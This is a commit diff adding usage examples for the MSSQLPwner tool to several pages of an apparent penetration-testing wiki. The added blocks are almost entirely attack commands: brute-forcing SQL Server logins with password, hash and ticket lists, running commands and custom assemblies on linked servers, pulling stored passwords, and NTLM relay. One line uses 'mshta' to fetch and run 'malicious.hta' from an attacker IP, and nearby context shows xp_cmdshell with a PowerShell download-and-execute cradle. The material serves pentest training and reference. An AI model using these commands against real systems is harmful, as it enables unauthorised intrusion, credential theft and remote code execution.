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Merge pull request #931 from El3ct71k/master

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Adding MSSQLPwner
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20
generic-methodologies-and-resources/brute-force.md
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@ -287,10 +287,30 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
### MSSQL ### MSSQL
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
```bash ```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
``` ```
### MySQL ### MySQL
```bash ```bash

47
network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
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@ -90,6 +90,25 @@ msf> use windows/manage/mssql_local_auth_bypass
#### Login #### Login
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
```bash ```bash
# Using Impacket mssqlclient.py # Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
@ -232,6 +251,21 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' — '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
``` ```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Steal NetNTLM hash / Relay attack ### Steal NetNTLM hash / Relay attack
You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example). You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).
@ -248,6 +282,19 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
``` ```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
{% hint style="warning" %} {% hint style="warning" %}
You can check if who (apart sysadmins) has permissions to run those MSSQL functions with: You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

70
windows-hardening/active-directory-methodology/abusing-ad-mssql.md
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@ -21,6 +21,76 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## **MSSQL Enumeration / Discovery** ## **MSSQL Enumeration / Discovery**
### Python
The [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) tool is based on impacket, and allows also authenticate using kerberos tickets, and attack through link chains
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
```shell
# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
### Enumerating from the network without domain session
```
# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
```
---
### Powershell
The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case. The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
```powershell ```powershell

14
windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
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@ -92,6 +92,20 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
``` ```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil ### Certutil